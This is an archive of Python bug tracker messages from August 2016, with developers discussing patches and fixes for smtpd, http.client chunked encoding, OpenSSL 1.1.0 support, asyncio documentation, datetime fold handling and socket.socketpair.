<1422799175.9.0.580347379364.issue23369@psf.upfronthosting.co.za> Message-ID: <1470650050.34.0.651898893226.issue23369@psf.upfronthosting.co.za> immerse added the comment: I noticed that this is only fixed for python 3.3 and 3.4, not for 2.7. Is that intentional? If so, why? ---------- nosy: +immerse -pkt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 06:06:13 2016 From: report at bugs.python.org (Roundup Robot) Date: Mon, 08 Aug 2016 10:06:13 +0000 Subject: [issue23322] parser module docs missing second example In-Reply-To: <1422257477.04.0.712021667077.issue23322@psf.upfronthosting.co.za> Message-ID: <20160808100610.108680.54111.69867AA1@psf.io> Roundup Robot added the comment: New changeset b479e74f7706 by Berker Peksag in branch '3.5': Issue #23322: Remove outdated reference to an example in parser docs https://hg.python.org/cpython/rev/b479e74f7706 New changeset 099fd7954941 by Berker Peksag in branch 'default': Issue #23322: Merge from 3.5 https://hg.python.org/cpython/rev/099fd7954941 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 06:06:50 2016 From: report at bugs.python.org (Berker Peksag) Date: Mon, 08 Aug 2016 10:06:50 +0000 Subject: [issue23322] parser module docs missing second example In-Reply-To: <1422257477.04.0.712021667077.issue23322@psf.upfronthosting.co.za> Message-ID: <1470650810.87.0.825466768969.issue23322@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks, Sahil. ---------- resolution: -> fixed stage: needs patch -> resolved status: open -> closed type: -> behavior versions: +Python 3.6 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 06:42:27 2016 From: report at bugs.python.org (Ram Vallury) Date: Mon, 08 Aug 2016 10:42:27 +0000 Subject: [issue26209] TypeError in smtpd module with string arguments In-Reply-To: <1453840478.59.0.371405366995.issue26209@psf.upfronthosting.co.za> Message-ID: <1470652947.49.0.594516790218.issue26209@psf.upfronthosting.co.za> Ram Vallury added the comment: Submitting patch 2 for smtpd doc changes ---------- Added file: http://bugs.python.org/file44047/smtpd_doc_updated_2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 06:45:40 2016 From: report at bugs.python.org (Berker Peksag) Date: Mon, 08 Aug 2016 10:45:40 +0000 Subject: [issue26209] TypeError in smtpd module with string arguments In-Reply-To: <1453840478.59.0.371405366995.issue26209@psf.upfronthosting.co.za> Message-ID: <1470653140.98.0.257352379171.issue26209@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 06:57:19 2016 From: report at bugs.python.org (Ethan Glass) Date: Mon, 08 Aug 2016 10:57:19 +0000 Subject: [issue27708] Roudning/Large Int representation error with multiplication and division Message-ID: <1470653839.78.0.546281473501.issue27708@psf.upfronthosting.co.za> New submission from Ethan Glass: Python represents large integers as floating-points, which may or may not be the cause or part of the cause of division of said large integers evaluating to a floating-point number usually within a 1-integer range of the correct result. ---------- components: ctypes messages: 272160 nosy: eglass priority: normal severity: normal status: open title: Roudning/Large Int representation error with multiplication and division type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 07:05:43 2016 From: report at bugs.python.org (Roundup Robot) Date: Mon, 08 Aug 2016 11:05:43 +0000 Subject: [issue27702] [Patch] Only use SOCK_RAW when defined In-Reply-To: <1470566233.96.0.229880145452.issue27702@psf.upfronthosting.co.za> Message-ID: <20160808110540.79731.97003.1048EF79@psf.io> Roundup Robot added the comment: New changeset 535f88ad80d8 by Berker Peksag in branch 'default': Issue #27702: Only expose SOCK_RAW when defined https://hg.python.org/cpython/rev/535f88ad80d8 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 07:06:29 2016 From: report at bugs.python.org (Berker Peksag) Date: Mon, 08 Aug 2016 11:06:29 +0000 Subject: [issue27702] Only use SOCK_RAW when defined In-Reply-To: <1470566233.96.0.229880145452.issue27702@psf.upfronthosting.co.za> Message-ID: <1470654389.15.0.733102934318.issue27702@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks! ---------- nosy: +berker.peksag resolution: -> fixed stage: -> resolved status: open -> closed title: [Patch] Only use SOCK_RAW when defined -> Only use SOCK_RAW when defined type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 07:21:30 2016 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 08 Aug 2016 11:21:30 +0000 Subject: [issue27708] Roudning/Large Int representation error with multiplication and division In-Reply-To: <1470653839.78.0.546281473501.issue27708@psf.upfronthosting.co.za> Message-ID: <1470655290.91.0.0673573888228.issue27708@psf.upfronthosting.co.za> Eric V. Smith added the comment: Actually, Python represents large integers exactly. Can you provide a specific example of a problem you're seeing? ---------- components: +Interpreter Core -ctypes nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 08:19:29 2016 From: report at bugs.python.org (Rolf Krahl) Date: Mon, 08 Aug 2016 12:19:29 +0000 Subject: [issue12319] [http.client] HTTPConnection.request not support "chunked" Transfer-Encoding to send data In-Reply-To: <1307875633.83.0.874379254828.issue12319@psf.upfronthosting.co.za> Message-ID: <1470658769.24.0.159293634846.issue12319@psf.upfronthosting.co.za> Rolf Krahl added the comment: Martin, > I wonder if it would be safer to test for TextIOBase. With the > read(0) hack, the zero size may be unexpected. A file object may > need special handling to generate an empty result, or to not > interpret it as an EOF indicator. See e.g. Issue 23804, about > zero-sized SSL reads, where both of these problems happened. As long > as we document that the text file logic has changed, I think it > would be okay. IMO it is better to keep things simple and robust for > byte files than add more hacks for text files. The problem is that there is no accepted definition of what a file-like object is. As a consequence, each test method will fail in some cases. Not all file-like objects are derived from the base classes in the io module. It is common praxis to simply define an object with a read() method and to consider this a file-like. This pattern can even be found in the official Python test suite. Testing for TextIOBase will fail in these cases. There seem to be at least a minimal consensus that each file-like (that supports reading) must have the read() method implementing the interface as defined by the io base classes. The read(0) test (I wouldn't call it a hack, as it only uses this documented API) has the advantage of making no other assumptions then this. And I even would not accept Issue 23804 as a counter example as this was clearly a bug in the ssl module. The current test using the mode attribute is certainly the worst one as it even fails for standard classes from the io module. Anyway. Even though I would prefer the read(0) test, I am happy to accept any other method. Please tell me what I should use. > However I still don?t see why the checks are worthwhile. Sure having > both is a technical violation of the current HTTP protocols. But if > a caller is likely to end up in one of these situations, it may > indicate a problem with the API that we should fix instead. If the > checks are unlikely to ever fail, then drop them. The question is whether we should apply sanity checks on caller's input or whether we should rather send bullshit out and wait for the request to fail. I'd rather give the caller a somewhat helpful error message rather then a lesser helpful "400 Bad Request" from the server. But if you really insist, I can also remove these checks. I don't understand your remark on the API and what the likeliness of rubbish header values set by the caller has to do with it, sorry. > Otherwise, I don?t think any of the bugs I pointed out have been > addressed. Could you elaborate on what bugs you are talking about? I really don't know, sorry. > I don?t like converting bytes-like to bytes. I understand one of the > main purposes of accepting bytes-like objects is to avoid copying > them, but converting to bytes defeats that. Also, the copying is > inconsistent with the lack of copying in _read_iterable(). I added this conversion because you mentioned Issue 27340 and the problem to send byte-like objects with the ssl module. I agree to leave this to Issue 27340 to find a better solution and will remove the conversion. > I am wondering if it would be best to keep new logic out of send(); > just put it into _send_output() instead. Once upon a time, send() > was a simple wrapper around socket.sendall() without much bloat. But > with the current patch, in order to send a single buffer, we have to > jump through a bunch of checks, create a dummy lambda and singleton > tuple, loop over the singleton, call the lambda, realize there is no > chunked encoding, etc. IMO the existing support for iterables should > have been put in _send_output() too (when that was an option). There > is no need to use send() to send the whole body when endheaders() > already supports that. No problem, I can move all this to _send_output(). The only problem that I see then, is that the current library version of send() already accepts file-like (both text and byte streams), bytes, and iterables. So we will end up with two different methods accepting this variety of data types and behaving differently in the respective cases. Maybe, as a consequence, one should restrict send() to accept only bytes in order to tighten consistency. But this is not in the scope of this Issue and will not be covered by my patch. Please note that I will be in holidays starting with next Monday. We should try to get this done during this week. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 08:47:12 2016 From: report at bugs.python.org (Christian Heimes) Date: Mon, 08 Aug 2016 12:47:12 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1470660432.82.0.209082485997.issue26470@psf.upfronthosting.co.za> Christian Heimes added the comment: St?phane, I have addressed your code review. def __new__() no longer hard-codes protocol. We can change that in a later version of Python. OpenSSL has deprecated all SSL methods except of the generic TLS method. The TLS method was formerly known as SSLv23 method and does auto-negotiation of the latest supported method. Lib/test/test_ssl.py:1183: LibreSSL does not support SSL_CA_PATH and SSL_CA_DIR env vars. I have changed the comment on the test. Modules/_hashopenssl.c:127: _hashopenssl.c now does error checks on EVP digest copy. The copy operation can fail when an EVP ENGINE is involved. HAS_FAST_PKCS5_PBKDF2_HMAC is defined in _hashopenssl.c. OpenSSL used to have a bad implementation of PKBDF2. I fixed it in 2013. The workaround is no longer required for OpenSSL >= 1.1.0. You can find more details in https://jbp.io/2015/08/11/pbkdf2-performance-matters/ ---------- Added file: http://bugs.python.org/file44048/Port-Python-s-SSL-module-to-OpenSSL-1.1.0-2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 10:01:02 2016 From: report at bugs.python.org (R. David Murray) Date: Mon, 08 Aug 2016 14:01:02 +0000 Subject: [issue27690] os.path.normcase broken. In-Reply-To: <1470375593.32.0.328295264297.issue27690@psf.upfronthosting.co.za> Message-ID: <1470664862.44.0.337008358331.issue27690@psf.upfronthosting.co.za> Changes by R. David Murray : ---------- type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 10:06:02 2016 From: report at bugs.python.org (R. David Murray) Date: Mon, 08 Aug 2016 14:06:02 +0000 Subject: [issue27687] Linux shutil.move between mountpoints as root does not retain ownership In-Reply-To: <1470343482.28.0.365470977104.issue27687@psf.upfronthosting.co.za> Message-ID: <1470665162.56.0.185473930807.issue27687@psf.upfronthosting.co.za> R. David Murray added the comment: This is as documented (see copystat). To do anything with user and group would be an enhancement. ---------- nosy: +r.david.murray type: behavior -> enhancement versions: +Python 3.6 -Python 2.7, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 10:26:22 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Mon, 08 Aug 2016 14:26:22 +0000 Subject: [issue27708] Roudning/Large Int representation error with multiplication and division In-Reply-To: <1470653839.78.0.546281473501.issue27708@psf.upfronthosting.co.za> Message-ID: <1470666382.46.0.819169709406.issue27708@psf.upfronthosting.co.za> Steven D'Aprano added the comment: Your description is hard to understand, and doesn't give enough detail, but I *think* I can guess what you might be referring to. If you start with a really big integer, and divide, you get a float. But really big floats cannot represent every number exactly (they only have a limited precision). For example: py> n = 12345678901234567 py> print(n, n/1) 12345678901234567 1.2345678901234568e+16 Converting n to an int (you don't need to use division, calling float() will do the same thing) rounds to the nearest possible 64-bit floating point value, which happens to be one larger. If this is the error you are talking about, there's nothing that can be done about it. It is fundamental to the way floating point numbers work. If you mean something different, please explain. ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 10:27:17 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Mon, 08 Aug 2016 14:27:17 +0000 Subject: [issue27708] Roudning/Large Int representation error with multiplication and division In-Reply-To: <1470653839.78.0.546281473501.issue27708@psf.upfronthosting.co.za> Message-ID: <1470666437.85.0.10974601839.issue27708@psf.upfronthosting.co.za> Steven D'Aprano added the comment: > Converting n to an int Oops. Obviously I meant converting n *from* an int *to* a float. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 10:31:23 2016 From: report at bugs.python.org (R. David Murray) Date: Mon, 08 Aug 2016 14:31:23 +0000 Subject: [issue27694] Socket incorrectly states IP address that start with a zero after a dot are illegal In-Reply-To: <1470408717.78.0.306514411984.issue27694@psf.upfronthosting.co.za> Message-ID: <1470666683.94.0.775763952909.issue27694@psf.upfronthosting.co.za> R. David Murray added the comment: See also issue 27612. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 10:39:14 2016 From: report at bugs.python.org (R. David Murray) Date: Mon, 08 Aug 2016 14:39:14 +0000 Subject: [issue20004] csv.DictReader classic class has a property with setter In-Reply-To: <1387278593.92.0.0717442259637.issue20004@psf.upfronthosting.co.za> Message-ID: <1470667154.09.0.513682239766.issue20004@psf.upfronthosting.co.za> R. David Murray added the comment: I don't believe it was ever committed to 3.x, nor do I see it there. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 10:42:47 2016 From: report at bugs.python.org (Mathieu Dupuy) Date: Mon, 08 Aug 2016 14:42:47 +0000 Subject: [issue20004] csv.DictReader classic class has a property with setter In-Reply-To: <1470667154.09.0.513682239766.issue20004@psf.upfronthosting.co.za> Message-ID: Mathieu Dupuy added the comment: Yeah, it turned out I was actually browsing Python 2.7 sources. My bad. 2016-08-08 16:39 GMT+02:00 R. David Murray : > > R. David Murray added the comment: > > I don't believe it was ever committed to 3.x, nor do I see it there. > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 11:21:23 2016 From: report at bugs.python.org (SilentGhost) Date: Mon, 08 Aug 2016 15:21:23 +0000 Subject: [issue26945] difflib.HtmlDiff().make_file() treat few change as whole line change In-Reply-To: <1462357117.75.0.264226223626.issue26945@psf.upfronthosting.co.za> Message-ID: <1470669683.83.0.363739727225.issue26945@psf.upfronthosting.co.za> SilentGhost added the comment: JW, this doens't seem anything to do with the original issue. I'm going to close this issue and open a new one that's dealing with your case, I have a fix for it. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 11:40:57 2016 From: report at bugs.python.org (SilentGhost) Date: Mon, 08 Aug 2016 15:40:57 +0000 Subject: [issue27709] difflib.HtmlDiff produces different output from difflib.ndiff Message-ID: <1470670857.15.0.245619921121.issue27709@psf.upfronthosting.co.za> New submission from SilentGhost: msg264842 in issue26945 reports an odd results of HtmlDiff.make_file, digging into it I've noticed couple of things: different output to one generated directly from difflib.ndiff and underlying issue further up the stack that generates same faulty output with a slightly modified files. The patch I'm attaching fixes the issue with different outputs, from make_file and ndiff, by not removing EOL characters, I had to re-generate expected test output file. ---------- components: Library (Lib) files: donttrim.diff keywords: patch messages: 272173 nosy: SilentGhost, jlwing, loewis priority: normal severity: normal stage: patch review status: open title: difflib.HtmlDiff produces different output from difflib.ndiff type: behavior versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44049/donttrim.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 11:43:13 2016 From: report at bugs.python.org (Alexander Belopolsky) Date: Mon, 08 Aug 2016 15:43:13 +0000 Subject: [issue27710] Disallow fold not in [0, 1] in time and datetime constructors Message-ID: <1470670993.43.0.0364864987438.issue27710@psf.upfronthosting.co.za> New submission from Alexander Belopolsky: The current implementation does not restrict values accepted by the fold argument: >>> from datetime import * >>> time(fold=2) datetime.time(0, 0, fold=2) >>> datetime(1, 1, 1, fold=2) datetime.datetime(1, 1, 1, 0, 0, fold=2) ---------- assignee: belopolsky messages: 272174 nosy: belopolsky priority: normal severity: normal status: open title: Disallow fold not in [0, 1] in time and datetime constructors type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 12:18:06 2016 From: report at bugs.python.org (Alexander Belopolsky) Date: Mon, 08 Aug 2016 16:18:06 +0000 Subject: [issue27711] datetime.utctimetuple() method should respect fold disambiguation Message-ID: <1470673086.15.0.122790254735.issue27711@psf.upfronthosting.co.za> New submission from Alexander Belopolsky: With TZ = America/New_York: >>> t0 = datetime(2016, 11, 6, 1, 30, fold=0) >>> t1 = datetime(2016, 11, 6, 1, 30, fold=1) >>> t0.utctimetuple()[:6] (2016, 11, 6, 1, 30, 0) >>> t1.utctimetuple()[:6] (2016, 11, 6, 1, 30, 0) >>> t0.timestamp() 1478410200.0 >>> t1.timestamp() 1478413800.0 The correct values for utctimetuple() should be the same as >>> datetime.utcfromtimestamp(t0.timestamp()).timetuple()[:6] (2016, 11, 6, 5, 30, 0) >>> datetime.utcfromtimestamp(t1.timestamp()).timetuple()[:6] (2016, 11, 6, 6, 30, 0) ---------- assignee: belopolsky messages: 272175 nosy: belopolsky priority: normal severity: normal status: open title: datetime.utctimetuple() method should respect fold disambiguation type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 12:21:37 2016 From: report at bugs.python.org (Alexander Belopolsky) Date: Mon, 08 Aug 2016 16:21:37 +0000 Subject: [issue27711] datetime.utctimetuple() method should respect fold disambiguation In-Reply-To: <1470673086.15.0.122790254735.issue27711@psf.upfronthosting.co.za> Message-ID: <1470673297.74.0.152694533137.issue27711@psf.upfronthosting.co.za> Alexander Belopolsky added the comment: This would be a feature not anticipated by PEP 495. ---------- resolution: -> rejected status: open -> closed type: behavior -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 12:23:52 2016 From: report at bugs.python.org (Xiang Zhang) Date: Mon, 08 Aug 2016 16:23:52 +0000 Subject: [issue27712] Tiny typos in import.rst Message-ID: <1470673432.71.0.249763506601.issue27712@psf.upfronthosting.co.za> Changes by Xiang Zhang : ---------- assignee: docs at python components: Documentation files: import_doc.patch keywords: patch nosy: docs at python, xiang.zhang priority: normal severity: normal status: open title: Tiny typos in import.rst type: behavior versions: Python 3.6 Added file: http://bugs.python.org/file44050/import_doc.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 12:33:17 2016 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 08 Aug 2016 16:33:17 +0000 Subject: [issue27392] Add a server_side keyword parameter to create_connection In-Reply-To: <1470594736.72.0.232127359657.issue27392@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: Did the patch not get merged?? On Sun, Aug 7, 2016 at 11:32 AM, Jim Fulton wrote: > > Jim Fulton added the comment: > > FTR another use case for this. :) > > We have a ZEO applications where individual database users authenticate > via self-signed certs. The server's SSL connection has to have this > collection of certs. User CRUD operations can add and remove certs to > authenticate against. SSL contexts don't provide an API for removing (or > even clearing) CAs used for authentication, so we need to create new SSL > contexts when the set of valid certs change. There's no way to update the > SSL context used by a server, so we're wrapping accepted sockets ourselves, > so we can use dynamic SSL contexts. > > Some alternatives: > > - Add an SSLContext API for removing or clearing CAs > > - Add a Server API to update the SSL context used for new connections. (I > may pursue this at some point. I spent a few minutes trying to find where a > Server's SSL context is stored, but failed and can't spend more time ATM.) > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 12:36:05 2016 From: report at bugs.python.org (Jim Fulton) Date: Mon, 08 Aug 2016 16:36:05 +0000 Subject: [issue27392] Add a server_side keyword parameter to create_connection In-Reply-To: <1466957117.0.0.423625085233.issue27392@psf.upfronthosting.co.za> Message-ID: <1470674165.29.0.98885889547.issue27392@psf.upfronthosting.co.za> Jim Fulton added the comment: idk if the patch got merged. I just added the last comment for informational purposes. :) Perhaps this issue can be closed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 12:41:59 2016 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 08 Aug 2016 16:41:59 +0000 Subject: [issue27392] Add a server_side keyword parameter to create_connection In-Reply-To: <1466957117.0.0.423625085233.issue27392@psf.upfronthosting.co.za> Message-ID: <1470674519.47.0.25154920101.issue27392@psf.upfronthosting.co.za> Yury Selivanov added the comment: > Did the patch not get merged?? connect_accepted_socket was merged. The docs patch is still pending (nothing wrong with it, I just need to commit it) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 12:43:11 2016 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 08 Aug 2016 16:43:11 +0000 Subject: [issue27700] Document asyncio.AbstractEventLoop, not asyncio.BaseEventLoop In-Reply-To: <1470501779.75.0.27358865288.issue27700@psf.upfronthosting.co.za> Message-ID: <1470674591.31.0.399143891246.issue27700@psf.upfronthosting.co.za> Guido van Rossum added the comment: Here's a tentative diff. I did a global replace BaseEventLoop -> AbstractEventLoop and added an entry for BaseEventLoop (just above AbstractEventLoop) explaining that it should not be used. Please review for obvious mistakes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 12:44:05 2016 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 08 Aug 2016 16:44:05 +0000 Subject: [issue27700] Document asyncio.AbstractEventLoop, not asyncio.BaseEventLoop In-Reply-To: <1470501779.75.0.27358865288.issue27700@psf.upfronthosting.co.za> Message-ID: <1470674645.4.0.679076449137.issue27700@psf.upfronthosting.co.za> Guido van Rossum added the comment: Here's the file (I hope). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 12:44:38 2016 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 08 Aug 2016 16:44:38 +0000 Subject: [issue27700] Document asyncio.AbstractEventLoop, not asyncio.BaseEventLoop In-Reply-To: <1470501779.75.0.27358865288.issue27700@psf.upfronthosting.co.za> Message-ID: <1470674678.28.0.742094473904.issue27700@psf.upfronthosting.co.za> Changes by Guido van Rossum : ---------- Removed message: http://bugs.python.org/msg272181 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 12:45:10 2016 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 08 Aug 2016 16:45:10 +0000 Subject: [issue27700] Document asyncio.AbstractEventLoop, not asyncio.BaseEventLoop In-Reply-To: <1470501779.75.0.27358865288.issue27700@psf.upfronthosting.co.za> Message-ID: <1470674710.14.0.367510178986.issue27700@psf.upfronthosting.co.za> Guido van Rossum added the comment: Uploading the file. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 12:46:27 2016 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 08 Aug 2016 16:46:27 +0000 Subject: [issue27700] Document asyncio.AbstractEventLoop, not asyncio.BaseEventLoop In-Reply-To: <1470501779.75.0.27358865288.issue27700@psf.upfronthosting.co.za> Message-ID: <1470674787.06.0.688439035092.issue27700@psf.upfronthosting.co.za> Guido van Rossum added the comment: Here's the file. ---------- keywords: +patch Added file: http://bugs.python.org/file44051/Base2Abstract.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 12:46:40 2016 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 08 Aug 2016 16:46:40 +0000 Subject: [issue27700] Document asyncio.AbstractEventLoop, not asyncio.BaseEventLoop In-Reply-To: <1470501779.75.0.27358865288.issue27700@psf.upfronthosting.co.za> Message-ID: <1470674800.51.0.209684622623.issue27700@psf.upfronthosting.co.za> Changes by Guido van Rossum : ---------- Removed message: http://bugs.python.org/msg272182 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 12:46:58 2016 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 08 Aug 2016 16:46:58 +0000 Subject: [issue27700] Document asyncio.AbstractEventLoop, not asyncio.BaseEventLoop In-Reply-To: <1470501779.75.0.27358865288.issue27700@psf.upfronthosting.co.za> Message-ID: <1470674818.74.0.75215255889.issue27700@psf.upfronthosting.co.za> Changes by Guido van Rossum : ---------- Removed message: http://bugs.python.org/msg272183 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 12:53:44 2016 From: report at bugs.python.org (Vinay Sajip) Date: Mon, 08 Aug 2016 16:53:44 +0000 Subject: [issue9998] ctypes find_library should search LD_LIBRARY_PATH on Linux In-Reply-To: <1285857910.26.0.582948500976.issue9998@psf.upfronthosting.co.za> Message-ID: <1470675224.52.0.94671170132.issue9998@psf.upfronthosting.co.za> Vinay Sajip added the comment: Updated the last patch with code for handling the case where ld is not available. ---------- Added file: http://bugs.python.org/file44052/refresh-2016-08-08.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 13:36:30 2016 From: report at bugs.python.org (Daniel Blanchard) Date: Mon, 08 Aug 2016 17:36:30 +0000 Subject: [issue9998] ctypes find_library should search LD_LIBRARY_PATH on Linux In-Reply-To: <1285857910.26.0.582948500976.issue9998@psf.upfronthosting.co.za> Message-ID: <1470677790.51.0.301527263515.issue9998@psf.upfronthosting.co.za> Changes by Daniel Blanchard : ---------- nosy: -Daniel.Blanchard _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 13:54:42 2016 From: report at bugs.python.org (R. David Murray) Date: Mon, 08 Aug 2016 17:54:42 +0000 Subject: [issue27698] socketpair not in socket.__all__ on Windows In-Reply-To: <1470477746.64.0.384028109592.issue27698@psf.upfronthosting.co.za> Message-ID: <1470678882.51.0.47564594296.issue27698@psf.upfronthosting.co.za> R. David Murray added the comment: I don't see any special casing for windows in the socketpair code in the current socket module, nor do I see any mention of socketpair in the 3.5 whatsnew. Based on a quick scan of the socket code I don't see how socketpair could be defined on a platform without also automatically being included in __all__. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 14:06:06 2016 From: report at bugs.python.org (Chris Jerdonek) Date: Mon, 08 Aug 2016 18:06:06 +0000 Subject: [issue27713] Spurious "platform dependent libraries" warnings when running make Message-ID: <1470679566.14.0.658709147971.issue27713@psf.upfronthosting.co.za> New submission from Chris Jerdonek: When installing Python 3.5.2 from source on Ubuntu 14.04 and running make, I get the below "Could not find platform dependent libraries" warnings (which I prefixed with "***" for better visibility). >From this message which has more background, these warnings are apparently harmless: https://mail.python.org/pipermail/python-dev/2016-August/145783.html -DHGBRANCH="\"`LC_ALL=C `\"" \ -o Modules/getbuildinfo.o ./Modules/getbuildinfo.c gcc -pthread -c -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -Werror=declaration-after-statement -I. -IInclude -I./Include -DPy_BUILD_CORE -o Programs/_freeze_importlib.o Programs/_freeze_importlib.c gcc -pthread -o Programs/_freeze_importlib Programs/_freeze_importlib.o Modules/getbuildinfo.o Parser/acceler.o [**snipped for brevity**] Modules/xxsubtype.o -lpthread -ldl -lutil -lm if test "no" != "yes"; then \ ./Programs/_freeze_importlib \ ./Lib/importlib/_bootstrap.py Python/importlib.h; \ fi ***: Could not find platform dependent libraries ***: Consider setting $PYTHONHOME to [:] if test "no" != "yes"; then \ ./Programs/_freeze_importlib \ ./Lib/importlib/_bootstrap_external.py Python/importlib_external.h; \ fi ***: Could not find platform dependent libraries ***: Consider setting $PYTHONHOME to [:] gcc -pthread -c -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -Werror=declaration-after-statement -I. -IInclude -I./Include -DPy_BUILD_CORE -o Python/frozen.o Python/frozen.c rm -f libpython3.5m.a ar rc libpython3.5m.a Modules/getbuildinfo.o ---------- components: Installation messages: 272186 nosy: chris.jerdonek priority: normal severity: normal status: open title: Spurious "platform dependent libraries" warnings when running make versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 14:11:03 2016 From: report at bugs.python.org (SilentGhost) Date: Mon, 08 Aug 2016 18:11:03 +0000 Subject: [issue27698] socketpair not in socket.__all__ on Windows In-Reply-To: <1470477746.64.0.384028109592.issue27698@psf.upfronthosting.co.za> Message-ID: <1470679863.27.0.143577139738.issue27698@psf.upfronthosting.co.za> SilentGhost added the comment: > nor do I see any mention of socketpair in the 3.5 whatsnew socket.socketpair has a versionchanged 3.5: Windows support added. ---------- nosy: +SilentGhost _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 14:14:14 2016 From: report at bugs.python.org (Eryk Sun) Date: Mon, 08 Aug 2016 18:14:14 +0000 Subject: [issue27698] socketpair not in socket.__all__ on Windows In-Reply-To: <1470477746.64.0.384028109592.issue27698@psf.upfronthosting.co.za> Message-ID: <1470680054.71.0.180986696622.issue27698@psf.upfronthosting.co.za> Eryk Sun added the comment: See issue 18643, which added a Windows implementation of socketpair(). Since it's not defined in the _socket extension module, it isn't added to socket.__all__. Someone simply forgot to add `__all__.append("sockpetpair")` after the definition on line 485. ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 14:14:51 2016 From: report at bugs.python.org (Eryk Sun) Date: Mon, 08 Aug 2016 18:14:51 +0000 Subject: [issue27698] socketpair not in socket.__all__ on Windows In-Reply-To: <1470477746.64.0.384028109592.issue27698@psf.upfronthosting.co.za> Message-ID: <1470680091.1.0.0335358134607.issue27698@psf.upfronthosting.co.za> Changes by Eryk Sun : ---------- Removed message: http://bugs.python.org/msg272188 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 14:15:15 2016 From: report at bugs.python.org (Eryk Sun) Date: Mon, 08 Aug 2016 18:15:15 +0000 Subject: [issue27698] socketpair not in socket.__all__ on Windows In-Reply-To: <1470477746.64.0.384028109592.issue27698@psf.upfronthosting.co.za> Message-ID: <1470680115.8.0.455090153369.issue27698@psf.upfronthosting.co.za> Eryk Sun added the comment: See issue 18643, which added a Windows implementation of socketpair(). Since it's not defined in the _socket extension module, it isn't added to socket.__all__. Someone simply forgot to add `__all__.append("socketpair")` after the definition on line 485. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 15:05:23 2016 From: report at bugs.python.org (Alexander 